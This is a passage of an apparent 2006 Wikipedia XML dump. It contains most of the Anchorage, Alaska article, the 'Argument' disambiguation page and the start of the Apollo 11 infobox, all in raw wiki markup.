According to the [[United States Census Bureau]], the municipality has a total area of 5,079.2 [[Square Kilometre|km&amp;sup2;]] (1,961.1 [[Square Mile|mi&amp;sup2;]]), 4,395.8 km&amp;sup2; (1,697.2 mi&amp;sup2;) of it is land and 683.4 km&amp;sup2; (263.9 mi&amp;sup2;) of it is water. The total area is 13.46% water.

Anchorage is located in [[South Central Alaska]], at 61 °13'06&quot;North [[latitude]] (about the same as [[Stockholm]] and [[Saint Petersburg|St. Petersburg]]), -149 °53'57&quot;West [[longitude]] (about the same as [[Hawaii]]), northeast of the [[Alaska Peninsula]], [[Kodiak Island]], and [[Cook Inlet]], due north of the [[Kenai Peninsula]], northwest of [[Prince William Sound]] and [[Alaska Panhandle]], and nearly due south of [[Mount McKinley]]/[[Denali]].  The city is situated on a triangular [[peninsula]] bordered on the east by the rugged, scenic, and eminently hike-worthy [[Chugach Mountains]], on the northwest by the [[Knik Arm]], and on the southwest by the [[Turnagain Arm]], upper branches of the Cook Inlet, which itself is the northernmost reach of the [[Pacific Ocean]]. Despite this, the city lacks coastal beaches, instead having wide, treacherous [[mudflats]]. Adjacent to the north is [[Matanuska-Susitna Borough, Alaska]].  To the south is [[Kenai Peninsula Borough, Alaska]], and to the east is [[Valdez-Cordova Census Area, Alaska]].

{{seealso|Anchorage neighborhood communities}}

=== Climate ===
Average daytime summer temperatures are approximately 55 to 80 degrees [[Fahrenheit]] (13 to 27 degrees [[Celsius]]); average daytime winter temperatures are about 5 to 20 degrees (-15 to -7 degrees Celsius) (warmer than many places in the [[The Lower 48|contiguous United States]]). Ted Stevens Anchorage International Airport (PANC) average January low and high temperatures are 9 °F / 22 °F (-13 °C / -5 °C) with an average winter snowfall of 70.60 inches (179.3 cm). The weather on any given day and indeed for entire seasons can be very unpredictable.  Some winters feature several feet of snow and bitterly cold temperatures, while others, just a foot or two of snow and frequent thaws, which puts dangerous ice on the streets. On [[March 17]], [[2002]], a record 24-hour ([[St. Patrick's Day]]) [[snow]] storm dumped 25.7 inches (65.3 cm) of snow on the Anchorage area, causing the airport and schools to close on that day, and several days longer for the schools. The 1954-1955 winter had 132.8 inches (337.3 cm), which made it the snowiest winter on record. The coldest [[temperature]] ever recorded at [[Ted Stevens Anchorage International Airport]] was -38 °F (-38.8 °C) on [[February 3]], [[1948]].  Summers are typically very mild and pleasant, though it can rain frequently.  There isn't any beach-bathing in Anchorage, except at a few local lakes on the warmest summer days, when those lakeside beaches can be extremely popular. Ted Stevens Anchorage International Airport average July low and high temperatures are 52 °F / 66 °F (11 °C / 19 °C) and the hottest reading ever recorded was 86 °F (30 °C) on [[June 25]], [[1953]]. The average annual precipitation at Ted Stevens Anchorage International Airport is 16.07 inches (40.8 cm). Aside from the winter cold, which most Alaskans don't mind, there are two primary nuisances associated with the seasons: in the summer, mosquitoes (which are much worse out in [[Alaskan Bush|the Bush]] than in the city itself); in the winter, long nights and very short days.  Since Anchorage is at such a high latitude, for months in mid-winter, residents go to work in the dark and return home in the dark.  Those who don't study or work next to a window can go all week long without seeing the sun.

== Demographics ==
{| class=&quot;wikitable&quot; style=&quot;float:right; margin-left:3px; text-size:80%; text-align:right&quot;
|align=center colspan=2| '''City of Anchorage &lt;br&gt;Population by year  [http://www.muni.org/iceimages/Planning/popu1a.pdf]'''
|-
|1950 || 30,060
|-
|1960 || 82,833
|-
|1970 || 126,385
|-
|1980 || 174,431
|-
|1990 || 226,338
|-
|2000 || 260,283
|}
As of the [[U.S. Census]]{{GR|2}} of 2000, Anchorage had a population of 260,283 and in all the Municipality of Anchorage is home to almost two-fifths of Alaska's population. The [[population density]] is 59.2/ km&amp;sup2; (153.4/ mi&amp;sup2;). There are 100,368 housing units at an average density of 22.8/ km&amp;sup2; (59.1/ mi&amp;sup2;). The racial makeup of the municipality is 72.23% [[White]] ([[Caucasian race|Caucasian]]), 5.55% are [[Asian American]]s, 5.84% are [[African American]]s, 7.28% are [[American Indians (U.S. Census)|American Indians]] or [[Alaska Native]]s, 0.93% are [[Pacific Islander]]s, 5.69% are [[Hispanic American]]s or [[Latino]]s of any race, 5.98% are from two or more races, and 2.19% are from other non-white backgrounds.

There are 94,822 households out of which 38.9% have children under the age 18 living with them, 51.1% are [[married couples]] living together, 11.5% have a female householder with no husband present, and 32.4% are non-families. 23.4% of all households are made up of individuals and 3.8% have someone living alone who is 65 years of age or older. The average household size is 2.67 and the average family size is 3.19.

In the city the population is spread out with 29.1% under the age of 18, 9.6% from 18 to 24, 33.9% from 25 to 44, 21.9% from 45 to 64, and 5.5% who are 65 years of age or older. The median age is 32 years. For every 100 females there are 101.6 males. For every 100 females age 18 and over, there are 102.4 males.

The median income for a household in the city is $55,546, and the median income for a family is $63,682. Males have a median income of $41,267 versus $63,682 for females. The [[per capita income]] for the city is $25,287. 7.3% of the population and 5.1% of families are below the [[poverty line]]. Out of the total population, 8.8% of those under the age of 18 and 6.4% of those 65 and older are living below the poverty line.

Anchoragites exemplify many of the qualities to be found among Alaskans generally: independence, friendliness, practical-mindedness, and a love of the outdoors.  There is, even among businesspeople in Anchorage, a tendency to &quot;dress down&quot;. (There is no [[dress code]] in any Anchorage restaurant.)  This, and a sort of frontier spirit that still lives on in [[Alaska]] generally, gives Anchorage a relatively casual, relaxed atmosphere compared to some other American cities.  (These cultural characteristics are only more exaggerated the farther one moves out of the city into the rest of [[Alaska]].) The city has traditionally served as a destination for immigrants, and there are active [[Asian]], [[Eastern European]], and [[Hispanic]] populations, along with communities of [[African Americans]] and various groups of [[indigenous peoples|aboriginal]] Alaskans. Over 95 languages are spoken by students in the Anchorage School District.

== Government ==
Anchorage is administered by an elected [[mayor]] and [[city council|assembly]], and a [[city manager]]. The city's current mayor is [[Mark Begich]].

{{See also|List of mayors of Anchorage, Alaska}}

=== Sister cities ===
Anchorage is internationally partnered with a number of [[Town twinning|sister cities]] to promote global cooperation, cultural exchange and economic collaboration. 

Today, Anchorage has six sister cities, including [[Chitose]], ([[Japan]]); [[Darwin, Northern Territory|Darwin]], ([[Australia]]); [[Incheon]], ([[South Korea]]); [[Magadan]], ([[Russia]]); [[Tromso]], ([[Norway]]); and [[Whitby]], ([[England]]).

== Economy ==
Anchorage is the center of [[commerce]] for [[Alaska]] and a major port, receiving over 95% of all freight entering Alaska passes, as well as a major hub of the famous [[Alaska Railroad]]. Several [[petroleum|oil]] and [[gas]] industries like: [[BP]] Exploration (Alaska}, Inc.; [[ConocoPhillips]] Alaska, Inc.; Doyon Universal Services; Enstar Natural Gas Co.; [[ExxonMobil]] Production; Flint Hills Resources; Norcoast Mechanical; [[Tesoro]] Alaska Petroleum Co.; Udelhoven Oilfield System Services, Inc.; [[Union Oil Company]] of California; and VECO Alaska, Inc. are all headquartered in Anchorage.

Anchorage is home to two major corporations which provide communication services to Alaska: [[Alaska Communications Systems]] and [[General Communications, Inc.]], both of which offer local and long distance telephone service, dial up and [[broadband Internet]] access, and [[cellular telephone]] service.

Many corporations, such as large [[banks]], [[real estate]], [[transportation]], other [[communication|communications]], and [[government]] agencies are all headquartered in Anchorage. There are two strategically important [[U.S. military]] bases bordering Anchorage on the north: [[Elmendorf AFB]] and [[Fort Richardson]]. Both military bases together station over 9,000 military personnels. 

Numerous visitor and [[tourist]] facilities and services are available throughout the Municipality of Anchorage. Nearly all [[Alaska Interior]]-bound tourists pass through Anchorage at some stage of their journeys in Alaska. This is particulatly true since the [[Alaska Railroad]] has its southern terminus in Anchorage. Not surprisingly, the summer is [[tourist|tourist season]], and downtown Anchorage, as well as the highways and railroads leading north and south of the city, are typically teeming with tourists. Anchorage has seasonal factors contribute to a fluctuating, though low, unemployment rate.

== Education ==
Education in Anchorage, [[Eagle River, Alaska|Eagle River]], [[Chugiak]], [[Eklutna, Alaska|Eklutna]], [[Girdwood, Alaska|Girdwood]], [[Fort Richardson]], and [[Elmendorf AFB]] is managed by the [[Anchorage School District]].

Anchorage has an excellent [[public school]] system that is ranked among the finest in the nation. The Anchorage School District is the 81st largest district in the [[United States]], with nearly 50,000 students attending 88 schools.

The district's average SAT and ACT [[College]] entrance exam scores are consistently above the national average and [[Advanced Placement]] courses are offered at each of the district's [[high schools]]. The [[International Baccalaureate Diploma Programme]] is also offered at West High, one of the local high schools. The average [[teacher]]/[[student]] ratio in the district's [[elementary schools]] is one teacher to approximately every 25 students.

The district offers a comprehensive curriculum that emphasizes the basic communication skills of [[reading (activity)|reading]], [[writing]], and [[arithmetic]]. The standard program also includes [[social studies]], [[health]], [[science]], and [[physical education]]. All students receive a quality [[education]] enriched with [[technology]], [[foreign language]], [[visual]] and [[performing arts]], and [[social sciences]].

A variety of programs and alternative learning environments meet the needs of the diverse student population. Some examples include ABC (back-to-basics curriculum) and Montessori schools, open-optional programs, foreign-language immersion, vocational/technical training and [[charter schools]]. [[Comprehensive]] services for bilingual students and students with special needs are also available.

=== Colleges and universities ===
Ninety percent of Anchorage's adults have high-school [[diplomas]], 65 percent have attended one to three years of college, and 17 percent hold advanced [[Academic degree|degrees]], placing Anchorage among the top [[metropolis|metropolitan]] cities in educational attainment.

Anchorage boasts four excellent [[higher education|higher-education]] facilities that offer quality higher education. The [[University of Alaska Anchorage]] and [[Alaska Pacific University]] are within walking distance of each other, and [[Charter College]] and [[Wayland Baptist University (Anchorage, Alaska)|Wayland Baptist University]] are also located in city limits.

== Culture ==
=== Performing arts ===
&lt;!-- Unsourced image removed: [[Image:Alaska_Center_for_the_Performing_Arts.jpg|thumb|right|250px|The Alaska Center for the Performing Arts building in downtown Anchorage.]] --&gt;
Despite the relative remoteness of the location, the city sports a lively arts community. Located next to Town Square Municipal Park in downtown Anchorage, the [[Alaska Center for the Performing Arts]] [http://www.alaskapac.org] is a three-part complex host to many [[performing arts]] events. The facility can accommodate more than 3,000 patrons. In 2000, nearly 245,000 people visited 678 public performances. It is home to eight resident performing arts companies and has featured mega-musicals such as CATS, Grease, Les Miserables, Phantom of the Opera and Big River. The center hosts the [[Anchorage Symphony Orchestra]] which is a semi professional symphony [[orchestra]]. The center also hosts the world famous [[International Ice Carving Competition]] as part of the [[Fur Rendezvous festival]] in February. There are also weekly sessions of [[Irish traditional music]], [[Jazz]], and other musical scenes.

The [[Anchorage Concert Association]] brings 15 to 20 world-class performing arts events to the community each [[winter]], and numerous independent perforance groups.

=== Museums and art collections ===
The [[Alaska Aviation Heritage Museum]] is a museum with artifacts reflecting Alaska's unique aviation history. The [[Alaska State Troopers Museum]] was formed in the late 1960s, and shares the history of the Alaska State Troopers. The [[Anchorage Fire Department Museum]] is a museum that relive Anchorage history among the displays of fire-fighting memorabilia, including a vintage 1921 LaFrance fire truck. The [[Imaginarium]] is a hands-on Science Discovery Center. The [[Oscar Anderson House Museum]] is Anchorage's only house museum established in 1915. The [[Russian Orthodox Museum]] [http://dioceseofalaska.org] is a museum that represents history of the [[Russian Orthodox Church]] in Alaska. The [[Wolf Song of Alaska]] [http://www.wolfsongalaska.org] was incorporated in 1988, is a world-class  observation facility. The [[Alaska Museum of Natural History]] [http://alaskamuseum.org] is a non-profit museum that educates exclusively on Alaska's unique geological, cultural, and ecological history.  

History art collections are at the [[Anchorage Museum of History and Art]], opened in 1968, is a world-class museum. The [[Heritage Library Museum]] was established in 1968, and is viewed as one of the largest collections of Alaska artifacts.

=== Other cultural institutions ===
&lt;!-- Unsourced image removed: [[Image:Alaska_Statehood_Monument_in_Downtown_Anchorage.jpg|thumb|right|250px|The Alaska Statehood Monument in downtown Anchorage.]] --&gt;
The [[Alaska Zoo]], opened as a children's zoo in 1969, is home to just under 100 [[bird]]s and [[mammal]]s. The [[Alaska Wildlife Conservation Center]], opened to the public in 1993, is a [[refuge]] for the [[orphaned]], injured wildlife, a [[non-profit organization]]. The [[Alaska Native Heritage Center]], opened in 1999, is a gathering place that celebrates, perpetuates and shares Alaska Native cultures. The [[Alaska Botanical Garden]] contains over 900 species of hardy perennials and 150 native plant species.

=== Local attractions ===
The [[H2Oasis Indoor Waterpark]], opened in 2003, is literally and figuratively the hottest spot in Alaska for fun and adventure. [[Alpenglow at Arctic Valley]] is a [[ski resort]] that is located on Ski Bowl Road in the [[Chugach State Park]] near [[Fort Richardson]]. The [[Alyeska Resort]] is a ski resort that is located in [[Girdwood, Alaska|Girdwood]]. The [[Hilltop Ski Area]] is located on the gentle slopes of southeast Anchorage that weave against the base of Chugach State Park. The Nordic Skiing Association of Anchorage [http://www.anchoragenordicski.com] is a non-profit organization dedicated to promoting all forms of [[nordic skiing]].

=== Media ===
Anchorage's leading [[newspaper]]s are the [[Anchorage Daily News]] [http://www.adn.com/], the [[Alaska Star]] [http://www.alaskastar.com], the [[Insurgent49]] [http://www.insurgent49.com], the [[Anchorage Press]] [http://www.anchoragepress.com] and the [[Petroleum News]] [http://www.petroleumnews.com/].

Anchorage is also well served by [[television]] and [[radio]]. Anchorage's major network television affiliates are [[KIMO]] 13[[American Broadcasting Company|(ABC)]], [[KTVA]] 11[[CBS|(CBS)]], [[KAKM]] 7[[Public Broadcasting Service|(PBS)]], [[KTBY]] 4[[Fox Broadcasting Company|(FOX)]], [[KTUU-TV]] 2[[NBC|(NBC)]], [[KYES]] 5[[UPN|(UPN)]] and [[KDMD]] 33[[I (TV network)|(PAX/Shopping)]]. [[ARCS]]: The Alaska Rural Communications Service, which provides some original programming and also &quot;cherry-picks&quot; retransmissions from among the broadcast stations in Anchorage, though usually not KIMO except in very rare occasions (such as [[Iditarod]] coverage), to provide television service to remote areas.

Leading [[radio]] stations include AM Stations [[KTZN]] 550-Clear Channel Communications, [[KHAR]] 590, [[KENI]] 650-Clear Channel Communications, [[KBYR]] 700, [[KFQD]] 750 and [[KUDO]] 1080. FM Stations [[KRUA]] 88.1-[[University of Alaska, Anchorage]], [[KAKL]] 88.5-&quot;Positive, Encouraging K-Love&quot;, Christian Music, K-Love, EMF Broadcasting, [[KATB]] 89.3, [[KNBA]] 90.3, [[KSKA]] 91.1, [[KFAT-FM|KFAT]] 92.9-New Northwest Broadcasters, [[KAFC]] 93.7, [[KEAG]] 97.3, [[KLEF]] 98.1, [[KYMG]] 98.9-Clear Channel Communications, [[KBFX-FM|KBFX]] 100.5- Clear Channel Communications, [[KGOT]] 101.3-Clear Channel Communications, [[KDBZ]] 102.1-New Northwest Broadcasters, [[KMXS]] 103.1, [[KBRJ]] 104.1, [[KNIK]] 105.7, [[KWHL]] 106.5 and [[KASH]] 107.5-Clear Channel Communications.

=== Sports ===
{| class=&quot;wikitable&quot;
! Club
! Sport
! League
! Stadium
! Logo
|-
| [[Alaska Aces]]
| [[Ice Hockey]]
| [[ECHL]]
| [[Sullivan Arena]]
| [[Image:Alaska Aces.jpg|30px|Alaska Aces Logo]]
|-
| [[Anchorage Bucs Baseball Club]]
| [[Baseball]]
| [[Alaska Baseball League]]
| [[Mulcahy Stadium]]
| [[Image:Anchorage Bucs Baseball Club.jpg|30px|Anchorage Bucs Baseball Club]]
|-
| [[Anchorage Glacier Pilots]]
| [[Baseball]]
| [[Alaska Baseball League]]
| [[Mulcahy Stadium]]
| [[Image:Anchorage Glacier Pilots.jpg|30px|Anchorage Glacier Pilots]]
|-
| [[Great Alaska Shootout]]
| [[Basketball]]
| N/A
| [[Sullivan Arena]]
| [[Image:Great Alaska Shootout.jpg|30px|Great Alaska Shootout]]
|}
Anchorage is home to the [[Alaska Aces]] of the ECHL hockey league. The [[Anchorage Bucs Baseball Club]] is a summer collegiate baseball team, attracting players from universities throughout the world. The [[Anchorage Glacier Pilots]] is a member of the [[National Baseball Congress]]. Anchorage is also home to the [[Great Alaska Shootout]], an annual [[college basketball]] tournament that features colleges from all over the U.S. 

The best ski jumper from the U.S. in the past 15 years is from Anchorage, Alan Alborn. He has finished 4th in a stage of the World Cup in [[Engelberg]], [[Switzerland]], and has a 11th place from the [[2002 Olympics]] in [[Salt Lake City, Utah]]. He also holds the US skiflying record with 221,5 meters from 2002 in [[Planica]], [[Slovenia]].

== Infrastructure ==
=== Transportation ===
&lt;!-- Unsourced image removed: [[Image:Anc-downtown-night-1072.jpg|thumb|right|250px|Downtown Anchorage at night.]] --&gt;
Anchorage is usually the starting or ending point of most visitors' Alaska vacations, and it serves as the airline hub for the state, being serviced by [[Ted Stevens Anchorage International Airport]]. Anchorage is served by some national airlines, primarily Seattle-based [[Alaska Airlines]], as well as a number of international airlines. The [[Alaska Railroad]] offers daily summer service to [[Seward]], [[Talkeetna]], [[Denali National Park]], and [[Fairbanks]]. These communities are also served by inter-city bus line from Anchorage. Transportation to downtown Anchorage is convenient by taxicab, airport shuttle, or hotel courtesy shuttles. Upon arrival, visitors can stop by the Anchorage Convention &amp; Visitors Bureau Visitor Information Center or the Alaska Visitors Center for direction. Diamond Airport Parking offers long-term parking with free 24-hour shuttle service to the airport. [[Cruise]] passengers with a few hours or a full day to explore Anchorage can store their luggage (and fish) at the airport. The Ship Creek Shuttle connects key downtown Anchorage locations with the Ship Creek area, including stops at the Alaska Railroad Depot.
&lt;!-- Unsourced image removed: [[Image:Tourist_returning_to_Anchorage_from_Denali_National_Park.jpg|thumb|left|250px|Alaska Railroad tourist returning to Anchorage from [[Denali National Park]].]]  --&gt;
Anchorage also has a [[public transit|bus system]] called People Mover [http://www.muni.org/transit], with a central hub in downtown Anchorage and satellite hubs at [[Dimond Center]] and [[Muldoon Mall]].  People Mover also provides point-to-point van services to seniors and those with disabilities, as well as car pool organization services.

There is only one officially designated [[Interstate Highway]] in Alaska. Unlike the Interstate routes in [[Hawaii]], it is unsigned as such. The route, officially [[Interstate A-1]] runs along the Seward and Glenn Highways. The highway is numbered [[Alaska State Highway 1]]. About 10 miles of the [[Seward Highway]],  (known as the New Seward Highway) is built to [[freeway]] standards. The [[Glenn Highway]], also built to freeway standards goes northeast from Anchorage, six lanes carrying commuter traffic to and from Eagle River, Chugiak, and the Matanuska Valley towns of [[Palmer]] and [[Wasilla]]. The highway is four lanes wide from Eagle River to the junction with the Parks Highway ([[Alaska State Highway 3]]) near Wasilla. Anchorage's roads and the state's highways are all asphalt. They are plowed when necessary in the winter. Highway construction and maintenance is limited to the warm months, so expect some delays.

As of 2005, Anchorage has a long-range transportation plan. Building the Highway to Highway Connection as a limited-access highway link between the Glenn and Seward highways could be the backbone that efficiently delivers traffic to many destinations throughout the city.

Today, traffic is heavy all day long 5th-6th Avenues, Ingra and Gambell, and spills into East Anchorage neighborhoods to avoid congestion. In the Fairview, Mountain View, and Midtown neighborhoods, the new road link would be dug down, out of sight and covered in some areas to allow easy pedestrian and vehicle access across.

=== Medical centers and hospitals ===
[[Providence Alaska Medical Center]] on Providence Drive in Anchorage is the largest hospital in Alaska and is part of [[Providence Health System]] in [[Alaska]], [[Washington]], [[Oregon]] and [[California]]. It features the state's most comprehensive range of services. Providence Health System has a history of serving Alaska, beginning when the Sisters of Providence first brought health care to [[Nome, Alaska|Nome]] in 1902. As the territory grew during the following decades, so did efforts to provide care. Their hospitals were opened in [[Fairbanks]] in 1910 and Anchorage in 1937. 

[[Alaska Regional Hospital]] on DeBarr Road in Anchorage was born in 1963 as Anchorage Presbyterian Hospital, located at 8th and L Street downtown. This predecessor to Alaska Regional was a joint venture between local [[physicians]] and the Presbyterian Church. In 1976 the hospital moved to it's present location on DeBarr Road, and is now a 254-bed licensed and accredited facility. Alaska Regional has expanded services and in 1994, Alaska Regional joined with [[HCA]], one of the nation's largest [[healthcare]] providers. 

[[Alaska Native Medical Center]] on Tudor Road, provides medical care and therapeutic health care to Native Alaskans - 229 tribes of [[Eskimos]] and [[Indigenous peoples of the Americas|Indians]] - at the Anchorage site and at 15 satellite facilities throughout the state. ANMC specialists also travel to clinics in the bush to provide care. The 150-bed hospital is also a teaching center for the [[University of Washington]]'s regional medical education program. ANMC houses an office of the [[Centers for Disease Control and Prevention]]. The Alaska Native Tribal Health Consortium and Southcentral Foundation jointly own and manage ANMC.

=== Utilities ===
A full complement of [[utilities]] is available within the Anchorage area. Two [[electric]] companies provide service, depending on where you live within the Municipality of Anchorage. They are: Municipal Light &amp; Power (ML&amp;P) and Chugach Electric Association. 

A municipally-owned utility since 1932, ML&amp;P supplies high-quality and reliable electric power to more than 30,000 residential and commercial customers in the Anchorage area. Chugach Electric Association is a not-for-profit, member-owned cooperative that was formed in 1948. 

Most homes have [[natural gas]]-fueled heat. ENSTAR Natural Gas Company is the sole provider for Anchorage, serving some 90-percent of the city's population. While some homes in Anchorage use private [[wells]] and [[septic]] systems, the Municipality of Anchorage owns and operates the Water and Wastewater Utility serving an approximate population base of 214,000.

== Shopping and entertainment ==
Anchorage has restaurants and places to shop. Anchorage 5th Avenue Mall, located in the heart of downtown Anchorage, has 110 stores including [[Nordstrom]], [[JCPenny]], and the [[Gap]]. 

There is a full-size family-owned [[shopping mall]] in Anchorage: [[Dimond Center]] [http://www.dimondcenter.com] located at the intersection of East Dimond Boulevard and Old Seward Highway is the largest shopping center in Alaska, at 728,000 square feet, with 120,000 square feet of professional office space. The mall is home to over 200 stores and offices and 17 eating establishments, with an [[ice skating rink]], [[bowling alley]], [[athletic|athletic club]], [[library]], and [[cinemas|Dimond 9 Cinemas]]. The anchor stores are: [[Best Buy]], [[Gottschalks]], and [[Old Navy]]. Lodging is offered by the 109-room [[Dimond Center Hotel]] [http://www.dimondcenterhotel.com/]. 

The Mall at [[Sears]] located on East Northern Lights Boulevard has great shopping and food court in the center of town. The Northway Mall is located on Penland Parkway near Airport Heights and the Glenn Highway. Ship Creek Center is a place that has Alaska, Russian gifts, dining, groceries and dancing.

== Points of interest ==
There are features of Anchorage that make it unique: the large tidal range; multiple, beautiful cross-country ski trails; America's highest percentage of licensed airplane pilots (with several airports and landing strips in the city or nearby); a very low [[population density]] for a city its size; frequent small earthquakes; spring windstorms (&quot;[[Chinook wind]]s&quot;); active volcanoes nearby (to the southwest, in the [[Alaska Range]], volcanoes such as [[Mount Spurr]], [[Augustine Volcano]], [[Mount Redoubt (Alaska)|Mount Redoubt]], and others have coated the city with ash in recent years); its extreme youth (it was founded in 1915 but didn't grow much until the 1940s); and much else.  Despite this, or perhaps because of it, Anchorage is definitely an ''American'' city, replete with a vibrant business climate, large [[shopping mall]]s, traffic congestion (one can't easily move about by foot and [[public transportation]] in the middle of winter), suburban-style subdivisions and two [[suburbs]], [[Suburb of Eagle River|Eagle River]] and [[Chugiak]], unless one counts the massive numbers of commuters who drive from as far away as the [[Matanuska Valley]] [http://www.alaskavisit.com/] communities of [[Wasilla, Alaska|Wasilla]] and [[Palmer, Alaska|Palmer]].

Anchorage has been named an [[All-America City Award|All America City]] in the years 1956, 1965, 1984-85 and most recently in 2002. The city won its latest award based on civic activities like the 2001 [[Special Olympics Winter Games]] [http://www.specialolympicsalaska.org/] , the [[Anchorage Youth Court]] [http://www.ayc.ak.org/], and [[Bridge Builders]] [http://www.bridgebuilders.ak.org/].

== See also ==
* [[South Central Alaska]]
* [[Neighborhoods of Anchorage, Alaska]]
* [[Port of Anchorage]]

== References ==
#{{note|census}} [http://factfinder.census.gov/servlet/SAFFFacts?_event=ChangeGeoContext&amp;geo_id=05000US02020&amp;_geoContext=01000US|04000US39|16000US3916000&amp;_street=&amp;county=anchorage&amp;_cityTown=anchorage&amp;_state=04000US02&amp;_zip=&amp;lang=en&amp;_see=on&amp;ActiveGeoDiv=geoSelect&amp;_useEV=&amp;pctxt=fph&amp;pgs|=010 Anchorage, Alaska Fact Sheet] ([[United States Census Bureau]]). URL accessed on [[December 30]], [[2005]].
#{{note|Climate Records List}} [http://pafc.arh.noaa.gov/misc.php?page=climlist Anchorage Climate Records List] ([[National Weather Service]]). URL accessed on [[December 30]], [[2005]].
#{{note|temperature}} The Weather Channel (1995-2005). [http://www.weather.com/activities/other/other/weather/climo-monthly-graph.html?locid=USAK0012&amp;from=36hr/_bottomnav_undeclared Monthly Climatolgy Graph]. URL retrieved on [[December 30]], [[2005]].
#{{note|highway project}} [http://www.muni.org/transplan/2004LRTP.cfm Municipality of Anchorage Traffic Department] (Long Range Transportation Plan). URL accessed on [[January 18]], [[2006]].
#{{note|History}} [http://www.ci.anchorage.ak.us/History/ Anchorage Historical Highlights]. URL accessed on [[January 21]], [[2006]].
#{{note|giseis}} [http://www.giseis.alaska.edu/quakes/Alaska_1964_earthquake.html The Great Alaska Earthquake of 1964]. URL accessed on [[January 21]], [[2006]].

==External links==
*[http://www.muni.org/ Municipality of Anchorage] official site
*[http://www.anchorage.net/ Anchorage Convention and Visitors Bureau]
*[http://www.alaskavisitorscenter.com Alaska Visitors Center]
*[http://www.alaska.com Alaska.com information]
*[http://lexicon.ci.anchorage.ak.us/ Anchorage Municipal Libraries] 
*[http://www.muni.org/mayor/allamericacity.cfm Anchorage All-America City 2002 Information]
*[http://www.Untraveledroad.com/USA/Alaska/Anchorage/Anchorage.htm Photographic virtual tour of Anchorage.]
*[http://www.anchoragecam.com Anchorage Cam (includes camera links)]
*[http://pafc.arh.noaa.gov National Weather Service Anchorage office]
{{Mapit-US-cityscale|61.1919|-149.762097}}

{{Alaska}}


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[[Category:Coastal cities]]
[[Category:Independent cities in the United States]]

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  </page>
  <page>
    <title>Argument</title>
    <id>661</id>
    <revision>
      <id>41817129</id>
      <timestamp>2006-03-01T23:06:17Z</timestamp>
      <contributor>
        <username>DavidLevinson</username>
        <id>1689</id>
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      <minor />
      <comment>/* See also */ * [[Distinction without a difference]]</comment>
      <text xml:space="preserve">{{wiktionarypar|argument}}

An '''argument''' is a collected series of statements to establish a definite proposition, and may refer to:

* [[logical argument]], a demonstration of a [[deductive reasoning|proof]], or using logical reasoning for persuasion
* [[oral argument]], a verbal presentation to a judge by a lawyer
* [[verb argument]], a phrase in a sentence that qualifies a verb
* [[heuristic argument]], a proof or demonstration relying on [[experiment]]al results, or one which is not fully [[Rigour#Mathematical rigour|rigorous]]
* [[ontological argument]], a proof by intuition or reason of the existence of God
* [[political argument]], the use of logic rather than propaganda in promoting political ideas
* [[doublespeak argument]], the use of misleading or irrelevant reasoning by one side during a debate
* [[javelin argument]], a cosmological reasoning about the infinite size of the universe
* ''[[The Argument]]'', an album by the band Fugazi released in 2001
* [[argument (literature)]], the brief summary at the beginning of a section of a poem
* [[grand argument story]], a type of story that is intended to be conceptually complete

In '''[[mathematics]]''', '''argument''' may also mean:

* [[independent variable]] or input of a [[mathematical function|function]]: the argument of &lt;math&gt;f(x)&lt;/math&gt; is &lt;math&gt;x&lt;/math&gt;
* [[Complex number#The_complex_plane|complex argument]], the angular component &amp;phi; of a [[complex number]] represented in [[Coordinates (mathematics)#Polar coordinates|polar coordinates]]
* [[argument principle]], a [[theorem]] in [[complex analysis]] about [[meromorphic function]]s inside and on a closed contour
* [[diagonal argument]], a type of proof over an infinite [[domain (mathematics)|domain]], used to identify the [[transfinite number|cardinal class]] of the [[real number]]s
* [[probabilistic argument]], any proof using [[probability theory]]

In '''[[Computer Science]]''', '''argument''' may also mean:

* [[argument (computer science)]], an input to a [[computer program|subprogram]] or [[procedure|subroutine]]

==See also==
* [[Category:Philosophical arguments]]
* [[Argument form]], a method of logically analyzing sentences
* [[Argumentation theory]], the science and theory of civil debates
* [[Argumentative]], a type of evidentiary objection to a question for a witness during a trial
* [[Default argument]], an actual parameter to a program that is used when no other actual parameter is provided
* [[Existence of God]], contains lists of common ontological [[Existance of God#Arguments for the existence of God|arguments for]] and [[Existance of God#Arguments against the existence of God|arguments against]] the existence of God
* [[Toulmin Model]], The model of an argument
* [[Distinction without a difference]]

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  </page>
  <page>
    <title>Apollo 11</title>
    <id>662</id>
    <revision>
      <id>42127572</id>
      <timestamp>2006-03-04T00:22:12Z</timestamp>
      <contributor>
        <ip>85.166.229.83</ip>
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      <comment>/* Launch and lunar landing */</comment>
      <text xml:space="preserve">{| border=2 align=right cellpadding=4 cellspacing=0 style=&quot;margin:  0.25em 1em 1em; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;font size=&quot;+1&quot;&gt;'''''Apollo 11'''''&lt;/font&gt;
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission Insignia
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:Apollo_11_insignia.jpg|center|233px|''Apollo 11'' insignia]]
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission Statistics
|-
|'''Mission name:'''||''Apollo 11''
|-
|'''Call sign:'''||[[Apollo Command/Service Module|Command module]]:&lt;br /&gt;''Columbia''&lt;br /&gt;[[Apollo Lunar Module|Lunar module]]:&lt;br /&gt;''Eagle''
|-
|'''Number of&lt;br /&gt;Crew:'''||3
|-
|'''Launch:'''||[[July 16]], [[1969]]&lt;br /&gt;13:32:00 [[Coordinated Universal Time|UTC]]&lt;br /&gt;[[Kennedy Space Center]], Florida&lt;br /&gt;LC 39A
|-
|'''Lunar&lt;br /&gt;landing:'''||[[July 20]], 1969&lt;br /&gt;20:17:40 UTC&lt;br /&gt;[[Mare Tranquillitatis|Sea of Tranquility]]&lt;br /&gt;0° 40' 26.69&quot; N,&lt;br /&gt;23° 28' 22.69&quot; E [http://nssdc.gsfc.nasa.gov/database/MasterCatalog?sc=1969-059C]&lt;br /&gt;(based on the [[International Astronomical Union|IAU]]&lt;br /&gt;Mean Earth Polar Axis&lt;br /&gt;[[coordinate system]])
|-
|'''Lunar EVA&lt;br /&gt;length:'''||2 h 31 min 40 s
|-
|'''Lunar surface&lt;br /&gt;time:'''||21 h 36 min 20 s
|-
|'''[[Lunar sample]]&lt;br /&gt;mass:'''|| 21.55 kg (47.5 lb)
|-
